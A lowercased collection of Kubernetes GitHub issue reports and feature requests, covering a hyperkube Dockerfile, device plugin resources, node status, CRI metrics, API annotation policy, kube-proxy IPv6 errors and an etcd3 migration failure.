/usr/bin/\r \r run debian_frontend=noninteractive apt-get update -y \\\r     && debian_frontend=noninteractive apt-get -yy -q install \\\r     iptables \\\r     ebtables \\\r     ethtool \\\r     ca-certificates \\\r     conntrack \\\r     util-linux \\\r     socat \\\r     git \\\r     jq \\\r     nfs-common \\\r     glusterfs-client \\\r     cifs-utils \\\r     && debian_frontend=noninteractive apt-get upgrade -y \\\r     && debian_frontend=noninteractive apt-get autoremove -y \\\r     && debian_frontend=noninteractive apt-get clean && rm -rf /var/lib/apt/lists/  /tmp/  /var/tmp/    cachebust\r \r run cp /usr/bin/nsenter /nsenter\r \r   copy the the cni-bin folder into /opt/cni/bin\r copy cni-bin/bin /opt/cni/bin\r \r   create symlinks for each hyperkube server\r   also create symlinks to /usr/local/bin/ where the server image binaries live, so the hyperkube image may be \r   used instead of gcr.io/google_containers/kube-  without any modifications.\r   todo: replace manual symlink creation with --make-symlink command once\r   cross-building with qemu supports go binaries. see  28702\r   run /hyperkube --make-symlinks\r run ln -s /hyperkube /apiserver \\\r  && ln -s /hyperkube /controller-manager \\\r  && ln -s /hyperkube /federation-apiserver \\\r  && ln -s /hyperkube /federation-controller-manager \\\r  && ln -s /hyperkube /kubectl \\\r  && ln -s /hyperkube /kubelet \\\r  && ln -s /hyperkube /proxy \\\r  && ln -s /hyperkube /scheduler \\\r  && ln -s /hyperkube /usr/local/bin/kube-apiserver \\\r  && ln -s /hyperkube /usr/local/bin/kube-controller-manager \\\r  && ln -s /hyperkube /usr/local/bin/federation-apiserver \\\r  && ln -s /hyperkube /usr/local/bin/federation-controller-manager \\\r  && ln -s /hyperkube /usr/local/bin/kubectl \\\r  && ln -s /hyperkube /usr/local/bin/kubelet \\\r  && ln -s /hyperkube /usr/local/bin/kube-proxy \\\r  && ln -s /hyperkube /usr/local/bin/kube-scheduler\r \r   copy the hyperkube binary\r copy hyperkube /hyperkube\r \r run   apt-get update \\\r       && debian_frontend=noninteractive apt-get install apt-utils wget apt-transport-https -y \\\r       && wget -q -o- 'https://download.ceph.com/keys/release.asc' | apt-key add - \\\r       && echo 'deb https://download.ceph.com/debian-jewel/ jessie main' > /etc/apt/sources.list.d/ceph.list \\\r       && apt-get update \\\r       && debian_frontend=noninteractive apt-get install --only-upgrade ceph-common -y \\\r       && debian_frontend=noninteractive apt-get autoremove -y \\\r       && debian_frontend=noninteractive apt-get clean \\\r       && rm -rf /var/lib/apt/lists/  /tmp/  /var/tmp/ \r cmd  \ /bin/bash\  \r    \r pv and pvc using rbd are fully functionnal with this client.\r \r \r more i'm also able to use type 2 image from command line inside the kubelet.\r it would be great to adapt the kubernets code to take care of these features.\r i'll try to propose a pr to add new params to rbd storage classes.\r \r i tested from the kubelet container:\r    \r rbd  create core2 --image-feature layering --size 1024 --pool tests --id xxxxxxx -m xxxxxxx --key xxxxx --image-format 2\r    \r

the job  gci-gce-serial-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gce-serial-1.8  is timing out.\r \r since  gci-gke-serial-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gke-serial-1.8  looks okay this could be a infra config issue.

 \r spun off from https://github.com/kubernetes/kubernetes/issues/53342, there was a regression introduced by device plugin change in 1.8 that we might remove opaque integer resource or non-device extended resources. we fix this problem in 1.8 by never removing any extended resources from kubelet node status and requires cluster admins to manually remove extended resources exposed via device plugins when they remove plugins. this issue is to track better handling of device plugin resource removal after 1.8 so that we can better manage device plugin resource life cycle.\r \r as @connordoyle summarized in https://github.com/kubernetes/kubernetes/issues/53342, there are a few options to solve this:\r \r option 1: with the assumption that containermanager owns the full control of the resources listed in its getcapacity  , track resource deletion in containermanager and mark it in the returning data structure of getcapacity   by either explicitly introducing a new state field for each resource type or implicitly from special quantity value of a resource  e.g., -1 .\r \r option 2: introduce some naming convention for device plugin resources. this will simplify device plugin resource lifecycle management, but will probably require broader discussions.\r \r other than distinguishing device plugin resources from other extended resources, we also need to avoid temporary capacity drop for device plugin resources after kubelet restarts. otherwise, pods restarted at that time gap window would fail and it is a regression from using device plugin to manage a resource compared to the native resource management by kubelet  e.g., gpu resource currently managed by gpumanager . possible options to solve this:\r option 1: tracks a grace period after kubelet restart and avoid updating device plugin resource capacity during grace period.\r option 2: wait for some time period during containermanager start   for device plugins to re-register.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r with some work, it's possible to get a private registry running inside a kubernetes cluster. however, it's annoyingly difficult to get kubernetes to use the registry as pulls happen  outside  the cluster network. for example if i run a registry and expose via an service under the name \ k8s-registry\  on port 5000, the following will not work  ignoring certs for the minute :\r \r  kubectl run test --image k8s-registry:5000/myimage:bla \r \r as the node is not connected to the kubernetes dns and has no idea where  k8s-registry  is.\r \r further, if we hack k8s  e.g. by adding an entry to /etc/hosts on the nodes  to recognise the service name, we will still hit an issue with certificates, even if the registry uses a cert from the k8s ca  the k8s ca cert is not added to the node .\r \r   what you expected to happen  :\r \r it would be great if pulls could be done using k8s services. this would either mean adding k8s dns and the k8s ca cert to the nodes, or running pulls inside a pod. \r \r

there's a problem in my cluster that it will always got node be notready for short period periodically.\r \r the kube-controller logs  --v=4 : \r    \r kubelet stopped posting node status\r node_lifecycle_controller.go:889  error updating node izwz90c5nb7ulrekxzpmdwz: operation cannot be fulfilled on nodes \ izwz90c5nb7ulrekxzpmdwz\ : the object has been modified; please apply your changes to the latest version and try again\r    \r \r and the kubelet at node logs --v=4 when node status is notready:\r \r    \r oct 24 16:40:22 izwz90c5nb7ulrekxzpmdwz kubelet 9873 : i1024 16:40:22.860269    9873 kubelet.go:1924  syncloop  housekeeping \r oct 24 16:40:24 izwz90c5nb7ulrekxzpmdwz kubelet 9873 : i1024 16:40:24.663323    9873 config.go:303  setting pods for source api\r oct 24 16:40:24 izwz90c5nb7ulrekxzpmdwz kubelet 9873 : i1024 16:40:24.664042    9873 kubelet.go:1850  syncloop  reconcile, \ apirone b2a56c84-d75d-11e8-a882-00163e024753 \ \r oct 24 16:40:24 izwz90c5nb7ulrekxzpmdwz kubelet 9873 : i1024 16:40:24.669964    9873 config.go:303  setting pods for source api\r oct 24 16:40:24 izwz90c5nb7ulrekxzpmdwz kubelet 9873 : i1024 16:40:24.670661    9873 kubelet.go:1850  syncloop  reconcile, \ api71c4ca-d763-11e8-a882-00163e024753 \ \r oct 24 16:40:24 izwz90c5nb7ulrekxzpmdwz kubelet 9873 : i1024 16:40:24.674416    9873 config.go:303  setting pods for source api\r oct 24 16:40:24 izwz90c5nb7ulrekxzpmdwz kubelet 9873 : i1024 16:40:24.674907    9873 kubelet.go:1850  syncloop  reconcile, \ apie-d72e-11e8-a882-00163e024753 \ \r oct 24 16:40:24 izwz90c5nb7ulrekxzpmdwz kubelet 9873 : i1024 16:40:24.683541    9873 config.go:303  setting pods for source api\r oct 24 16:40:24 izwz90c5nb7ulrekxzpmdwz kubelet 9873 : i1024 16:40:24.684190    9873 kubelet.go:1850  syncloop  reconcile, \ api6-d6e0-11e8-a882-00163e024753 \ \r oct 24 16:40:24 izwz90c5nb7ulrekxzpmdwz kubelet 9873 : i1024 16:40:24.695276    9873 config.go:303  setting pods for source api\r oct 24 16:40:24 izwz90c5nb7ulrekxzpmdwz kubelet 9873 : i1024 16:40:24.695907    9873 kubelet.go:1850  syncloop  reconcile, \ apisystem b2af5c58-d75d-11e8-a882-00163e024753 \ \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r supplement some metrics into cri stats, such as network info, maxusage of memory, cpu scheduling related metrics, etc.\r \r we will extend the cri interface, and add the definitions of monitoring data. then modify the cristatsprovider. \r \r   why is this needed  :\r with the development of security runtime, the metrics provided by cri stats currently are not enough for enterprise production. after the supplement, users will get the detail info about pods and containers.\r \r recently, we gradually start using kata and gvisor to run our applications. however we can not collect the metrics about containers and pods with a unified entrance in the kubelet level, such as network metrics, maxusage of memory, cpu scheduling related metrics, etc. without these metrics, we can not monitor the pods and containers well. it will directly influence the service quality we provide on the kubernetes.\r \r so we want to provide a unified entrance to collect the runtime metrics. it is sure that we hope our solution is satisfied with community standard and overall tendency. \r \r sincerely looking forward to some guidance from the kubernetes community.\r \r ❌represents the missing metrics.\r - cpu\r \r - - cfs❌\r   - schedstat❌\r \r - memory\r \r - - maxusage❌\r    - failcnt❌\r    - rss❌\r \r - diskio❌\r \r - - ioservicebytes\r   - ioserviced\r   - ioqueued\r   - sectors\r   - ioservicetime\r   - iowaittime\r   - iomerged\r   - iotime\r \r - network❌\r \r - - rxbytes\r   - rxpackets\r   - rxerrors\r   - rxdropped\r   - txbytes\r   - txpackets\r   - txerrors\r   - txdropped\r

our current api strategy is to add annotations for new features.  these annotations are expected to overlay on top of the existing api fields, and alter system behavior in other components.  our primary reason for annotations today: 1. they are unstructured and can be preserved in etcd even after the feature is graduated from alpha. 2. they can contain arbitrarily complex values  like init containers  or simple fields  like hostname for pods   annotations come with a set of issues: 1. alpha annotations are not discoverable and do not show up in our docs - users don't know how to use the features, and we get no automatic benefits from swagger or other tools    1. no way to communicate lifecycle via  kubectl explain  to end users 2. developers who implement those annotations must merge the value in to the internal or external types at various points in the lifecycle - conversion, validation, in client libraries, and in nested utilities.    1. client utilities that receive a partial struct  like  api.podspec   must also receive a list of annotations that alter that pod spec  for things like init containers  and potentially merge those    2. when an alpha feature is graduated, we typically change the implementation of that feature significantly as well  moving from annotation to field  which causes extra churn in the implementation, and the potential for new bugs 3. some alpha features may be missed by a developer unfamiliar with the annotation - without any of the normal tools to introspect code  code completion, reflective tests on structs  it is more likely that the impact of an annotation is missed when adding new code. 4. the security implications of an annotation are harder to convey than a field, and code that allows annotation mutation but _not_ field annotation can be exposed to malicious authors accidentally  bind, status, and a few other sub resources that protect spec can be abused to mutate init containers, for example . 5. a malicious user can introduce an annotation for an upcoming alpha feature on a cluster before the feature is introduced, which means that prior to enabling an alpha feature a cluster admin has to sweep all possible objects to ensure no dangerous annotations are set.        this occurred for init containers - podsecuritypolicy is applied at creation time, but because init containers are represented as annotations a malicious user can set an init container annotation before kube 1.3 is rolled out, and as soon as the cluster is upgraded that container would be executed.  this means that admins have to run a pre-upgrade migration to purge any dangerous / out of policy annotations.  for these reasons, i believe we should not be using annotations for alpha level fields internally, and probably not externally.    alternative  instead, i believe we should represent alpha level fields in our go structs and clearly denote them as alpha  perhaps with an named prefix .  once the feature is out of alpha, we would leave the alpha level field in the external struct for at least 1 major version to allow upgraders to use that field.  we would then drop the alpha field, which would clean the database of that value.  internal code would simply rename the field, and ignore the external field.  alpha level fields would be denoted by struct tags that allowed them to show up in swagger.  once we dropped support for the field, swagger would no longer show them.  we would have to have a \ drop by default\  rule in place for swagger validations on fields that are no longer recognized for old alpha fields that aren't supported, but that's what we want for alpha.  e.g.:  kube 1.2:      pod:   spec:     alphainitcontainers:    silently dropped by the storage layer     - name: init-1      kube 1.3:      pod:   spec:     alphainitcontainers:   visible in swagger     - name: init-1        ...  $ kubectl explain pod.spec.alphainitcontainers this field allows you to provide specify \ init containers\  - run before other containers. ... feature is alpha and may change without notice.      kube 1.4:      pod:   spec:     alphainitcontainers:   ignored, but visible in swagger.  kubectl validate could flag this as unsupported     - name: init-1     initcontainers:     - name: init-1  $ kubectl explain pod.spec.alphainitcontainers this field has been removed - use pod.spec.initcontainers      kube 1.5      pod:   spec:     alphainitcontainers:   fails kubectl validate - alpha is no longer supported                            silently dropped from storage whenever a pod is updated     initcontainers:     - name: init-1  $ kubectl explain pod.spec.alphainitcontainers this field has been removed - use pod.spec.initcontainers

if we will start running scheduler and controller-manager in ha configuration they should use the same api-server if possible.  all available details and difference with current implementation were discussed here https://github.com/kubernetes/kubernetes/pull/30588/files r77038792  related: https://github.com/kubernetes/kubernetes/pull/30588

federation control plane components don't support feature gates for non-ga apis/features and must be implemented. see here for examples - https://github.com/kubernetes/kubernetes/blob/master/pkg/util/config/feature_gate.go.\r \r cc @kubernetes/sig-federation @nikhiljindal

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r if the deploy failed, then i can check pod events to see what is wrong. but the events will disappear after one hour, why do we have such design?\r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failing job\r --------------\r  skew-cluster-latest-kubectl-stable1-gke  https://k8s-testgrid.appspot.com/sig-cli-master skew-cluster-latest-kubectl-stable1-gke \r \r gubernator logs\r ---------------------\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-master-new-gci-kubectl-skew/9015\r \r triage\r --------\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=testing&job=ci-kubernetes-e2e-gke-master-new-gci-kubectl-skew&test=skewtest\r \r  /  \r cc @soltysh @justinsb

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r there is no guarantee sdk s  handling requests to cloud providers will response in a reasonable amount of time. some periodically running routines   e.g. node status update  can hang for a long time before they finish their job which can cause kubelet to loose its ability to report/respond in time. e.g. request for node addresses that takes up to 20 minutes forbids the kubelet to report its ready state causing the node controller to evict pods from the underlying node.\r \r instead of relying on individual implementation of sdks to handle timeouts and request hanging, we should decouple the code responsible for retrieving the node address from a cloud provider and a code responsible for providing the latest node addresses so the node status update routine just reads the recently fetched addresses without any risk of hanging on the abstracted  nodeaddreses  call.\r \r   what you expected to happen  :\r \r the node status update routine call to  nodeaddresses  does not hang for unpredictable amount of time. otherwise, causing a node to be evicted. instead, we should implement a go routine running in parallel to kubelet and responsible for fetching the node addresses, storing the recently fetched addresses into a cache. kubelet will then just ask for the cached node addresses instead of directly talking to cloud provided sdk.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r make sure a response from a cloud provider never returns when asking for node addresses.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r not filling those as it potentially affects every kubernetes version on any cloud provider on any os.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r > copied from https://github.com/kubernetes/kubernetes/issues/66348 issuecomment-414860370\r \r one behavior i noticed got changed is the  cordon  case: in 1.11, if a node is cordoned, ds pod is scheduled to that node. but right now, with  scheduledaemonsetpods=true  and  taintnodesbycondition=true   default in master , ds pod still can't be scheduled onto cordoned node:\r \r    \r i0821 22:37:08.614895       1 daemon_controller.go:1396  daemonset predicates failed on node kube-node-2 for ds 'default/pause' for reason: node s  had taints that the pod didn't tolerate\r    \r \r the message is pretty tricky. as  1  i do see ds pod  on other normal node  have \ unschedulable\  applied:\r \r    yaml\r   - effect: noschedule\r     key: node.kubernetes.io/unschedulable\r     operator: exists\r    \r \r and  2   cordon ing node applies a \ unschedulable\  taint:\r \r    yaml\r spec:\r   taints:\r   - effect: noschedule\r     key: node.kubernetes.io/unschedulable\r     timeadded: 2018-08-21t23:20:54z\r   unschedulable: true\r    \r \r so in theory it's a match. maybe a timing issue - when  simulate    is invoked,  appendnoscheduletolerationifnotexist    isn't applied yet. let me dig more.\r \r   what you expected to happen  :\r \r daemonset pods should be scheduled to cordoned node as ds pod is applied with noschedulable toleration by default.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - enable scheduledaemonsetpods=true\r - create a daemonset on a 2-node cluster\r - k cordon kube-node-1\r - only daemonset pod is scheduled to kube-node-2\r - k get ds shows 1/1\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:\r

which jobs are failing  :\r tests which exec into containers and alter lifecycles\r \r   which test s  are failing  :\r all new tests introduced for api change which exec into containers\r new alpha subpathexpr tests  feature:volumesubpathenvexpansion  nodealphafeature:volumesubpathenvexpansion \r \r   since when has it been failing  :\r 27/february/2019\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-node-kubelet node-kubelet-alpha\r \r   reason for failure  :\r  framework.testcontext.kubectlpath  is only set in e2e tests and the binary is not available in node e2e tests\r need to restructure and call the api rather than through the  runkubectl  framework convenience function\r \r   anything else we need to know  :\r

what happened  :\r i am trying to set cluster cidr in kube proxy but i got the following error:\r \r  f0309 07:45:50.879509       1 server.go:379  unable to create proxier: clustercidr fd02::/112 has incorrect ip version: expect isipv6=false \r \r my kube-proxy pod looks like the following:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: \ 2019-03-09t07:40:07z\ \r   generatename: kube-proxy-\r   labels:\r     controller-revision-hash: 6c99c57f55\r     k8s-app: kube-proxy\r     pod-template-generation: \ 3\ \r   name: kube-proxy-fh9cd\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: apps/v1\r     blockownerdeletion: true\r     controller: true\r     kind: daemonset\r     name: kube-proxy\r     uid: d01862d8-423d-11e9-8ddb-005056affa4f\r   resourceversion: \ 1798\ \r   selflink: /api/v1/namespaces/kube-system/pods/kube-proxy-fh9cd\r   uid: 8f8ddf96-423e-11e9-8ddb-005056affa4f\r spec:\r   affinity:\r     nodeaffinity:\r       requiredduringschedulingignoredduringexecution:\r         nodeselectorterms:\r         - matchfields:\r           - key: metadata.name\r             operator: in\r             values:\r             - kahou\r   containers:\r   - command:\r     - /usr/local/bin/kube-proxy\r     - --cluster-cidr=fd02::/112\r     image: k8s.gcr.io/kube-proxy:v1.12.6\r     imagepullpolicy: ifnotpresent\r     name: kube-proxy\r     resources: {}\r     securitycontext:\r       privileged: true\r       procmount: default\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/lib/kube-proxy\r       name: kube-proxy\r     - mountpath: /run/xtables.lock\r       name: xtables-lock\r     - mountpath: /lib/modules\r       name: lib-modules\r       readonly: true\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: kube-proxy-token-7zspf\r       readonly: true\r   dnspolicy: clusterfirst\r   hostnetwork: true\r   nodename: kahou\r   priority: 2000001000\r   priorityclassname: system-node-critical\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: kube-proxy\r   serviceaccountname: kube-proxy\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - key: criticaladdonsonly\r     operator: exists\r   - operator: exists\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/disk-pressure\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/memory-pressure\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/unschedulable\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/network-unavailable\r     operator: exists\r   volumes:\r   - configmap:\r       defaultmode: 420\r       name: kube-proxy\r     name: kube-proxy\r   - hostpath:\r       path: /run/xtables.lock\r       type: fileorcreate\r     name: xtables-lock\r   - hostpath:\r       path: /lib/modules\r       type: \ \ \r     name: lib-modules\r   - name: kube-proxy-token-7zspf\r     secret:\r       defaultmode: 420\r       secretname: kube-proxy-token-7zspf\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: \ 2019-03-09t07:40:07z\ \r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: \ 2019-03-09t07:40:07z\ \r     message: 'containers with unready status:  kube-proxy '\r     reason: containersnotready\r     status: \ false\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: \ 2019-03-09t07:40:07z\ \r     message: 'containers with unready status:  kube-proxy '\r     reason: containersnotready\r     status: \ false\ \r     type: containersready\r   - lastprobetime: null\r     lasttransitiontime: \ 2019-03-09t07:40:07z\ \r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://b61949370f4f10dfe7dd5942e1870a465a45313046408c197354a27f1fff902e\r     image: k8s.gcr.io/kube-proxy:v1.12.6\r     imageid: docker-pullable://k8s.gcr.io/kube-proxy@sha256:7bb54b4e2c6d4157b634b12f3b12f499e8891a48eaef2f0bcf0781e973f2ee78\r     laststate:\r       terminated:\r         containerid: docker://b61949370f4f10dfe7dd5942e1870a465a45313046408c197354a27f1fff902e\r         exitcode: 255\r         finishedat: \ 2019-03-09t07:50:53z\ \r         reason: error\r         startedat: \ 2019-03-09t07:50:53z\ \r     name: kube-proxy\r     ready: false\r     restartcount: 7\r     state:\r       waiting:\r         message: back-off 5m0s restarting failed container=kube-proxy pod=kube-proxy-fh9cd_kube-system 8f8ddf96-423e-11e9-8ddb-005056affa4f \r         reason: crashloopbackoff\r   hostip: 10.8.48.60\r   phase: running\r   podip: 10.8.48.60\r   qosclass: besteffort\r   starttime: \ 2019-03-09t07:40:07z\ \r    \r \r   what you expected to happen  :\r expect kube-proxy should be running with v6 cidr range\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:57:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r ubuntu 18.04\r \r - kernel  e.g.  uname -a  :\r linux kahou 4.15.0-46-generic  49-ubuntu smp wed feb 6 09:33:07 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubeadm\r - others:\r

happy to send a patch for this -- i've already written an sni client hello packet parser --   https://github.com/paultag/sniff/blob/master/parser/parser.go  that code needs to be audited a bit, and fuzzed, but it's hello-world-ing. anyone willing to break this?  however, this will fail if the request has no sni extension, so default routes are unclear to me.  the https ingress point could do tls termination, but that'll be mildly annoying for containers that terminate tls  perhaps golang apps that to tls peer authentication? , otherwise we could use virtual hosting on http host.

suggestions for improving management for events. - don't store events in objects   - we aren't doing this now, but it might seem attractive.   - if there are 10 or 100 events attached to an object, it creates too much noise when you look at the object's json. - use an event controller to manage event garbage collection.  more flexible than ttl.  - record deleted events.   store a \ deleted-events\  event which counts the approximate number and last time of deleted events.  update this when deleting events. - allow limits/weights on event count at a variety of granularities  perhaps as eventmanagerpolicy objects :   - referenced object's namespace   - referenced object's name   - referenced object's id   - referenced object'skind   - event source   -  event source, referenced object's id    - etc. - don't use etcd ttl.  for above reasons.

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:42:39z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r \r    \r name=coreos\r id=coreos\r version=1185.3.0\r version_id=1185.3.0\r build_id=2016-11-01-0605\r pretty_name=\ coreos 1185.3.0  moreos \ \r ansi_color=\ 1;32\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r    \r \r -   kernel    e.g.  uname -a  :\r \r    \r linux ip-10-72-100-217.us-west-2.compute.internal 4.7.3-coreos-r2  1 smp tue nov 1 01:38:43 utc 2016 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r    \r \r -   install tools  : custom terraform + cloud-config yaml\r -   others  :\r \r \r   what happened  :\r \r kube-apiserver failed to start after upgrading etcd to v3 and migrating data. logs  here  https://gist.github.com/zihaoyu/df8d150420b5a7ba96f81d5005e10c6d .\r \r \r   what you expected to happen  :\r \r kube-apiserver works as usual.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. stop kube-apiserver.\r 2. stop etcd on all nodes in the etcd cluster.\r 3. replace etcd v2.3 binary with v3.\r 4. migrate data, run:\r    \r ip-10-72-100-217 core   etcdctl_api=3 /opt/bin/etcdctl migrate --data-dir=/var/lib/etcd2\r using default transformer\r 2016-12-15 19:49:39.146320 i | api: enabled capabilities for version 3.0\r 2016-12-15 19:49:39.146521 i | membership: added member 959d6cb07386d1aa  http://10.72.100.217:2380  to cluster 0 from store\r 2016-12-15 19:49:39.146563 i | membership: added member f7584f5a756c7af5  http://10.72.101.49:2380  to cluster 0 from store\r 2016-12-15 19:49:39.146597 i | membership: added member 712df43e5653e633  http://10.72.114.215:2380  to cluster 0 from store\r 2016-12-15 19:49:39.146630 i | membership: set the cluster version to 3.0 from store\r finished transforming keys\r    \r 5. restart etcd on all nodes.\r 6. add  --storage-backend=etcd3  to kube-apiserver start up command. start apiserver.\r \r   anything else do we need to know  :\r \r etcd version:\r    \r ip-10-72-100-217 core   curl http://localhost:2379/version\r {\ etcdserver\ :\ 3.0.15\ ,\ etcdcluster\ :\ 3.0.0\ }\r    \r \r full kube-apiserver start up command:\r    \r execstart=/opt/bin/kube-apiserver \\\r --admission-control=namespacelifecycle,namespaceautoprovision,limitranger,securitycontextdeny,serviceaccount,resourcequota \\\r --allow-privileged=true \\\r --apiserver-count=1 \\\r --bind-address=0.0.0.0 \\\r --client-ca-file=/etc/kubernetes/ssl/ca.pem \\\r --cloud-provider=\ aws\  \\\r --etcd-servers=http://etcd.loadbalancer.mycompany.com:80 \\\r --logtostderr=true \\\r --public-address-override=${default_ipv4} \\\r --runtime-config=api/v1=true,batch/v2alpha1=true \\\r --secure-port=443 \\\r --service-account-lookup=false \\\r --service-cluster-ip-range=10.5.0.0/16 \\\r --storage-backend=etcd3 \\\r --tls-cert-file=/etc/kubernetes/ssl/apiserver.pem \\\r --tls-private-key-file=/etc/kubernetes/ssl/apiserver-key.pem\r    \r \r originally posted in  coreos-user google groups  here  https://groups.google.com/forum/ !topic/coreos-user/5r86dqs3274 .\r \r @hongchaodeng \r

the test is really flaky, and the most recent ones:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/759\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/758\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/namespace.go:217\r expected error:\r     < errors.errorstring | 0xc4203acc70>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/namespace.go:125\r    \r \r

the current e2e tests use directories as the local storage source, which uncovered some differences between bind mounting a directory vs a mount point.  there should be test cases using a real mount point as the source. \r \r  

i am creating external load balancer in aws using kubernetes, for that i provided --cloud-provider=aws option in my kube-apiserver, kubelet and kube-controller manager, and everything worked fine. but i noticed the name of the nodes, now kubernetes is setting nodename by the node's ip like \ ip-xx-xxx-xx-x.ec2.internal\ . earlier it was proper hostname which i provided in kubelet as \ --hostname-override=xxxx\ .\r \r any idea what can be the issue here and how it can be resolved?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   \r   what happened  :\r i wanted to create a simple master node on a raspberry pi3.  following instructions: https://blog.hypriot.com/post/setup-kubernetes-raspberry-pi-cluster/.\r docker is running successfully, installed latest kubeadm packages. the initialization of the kubeadm locks up in an infinite loop. the docker containers etcd and kubeapiserver are restarting after 2min. \r \r   what you expected to happen  :\r \r can someone see why this is not starting up?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  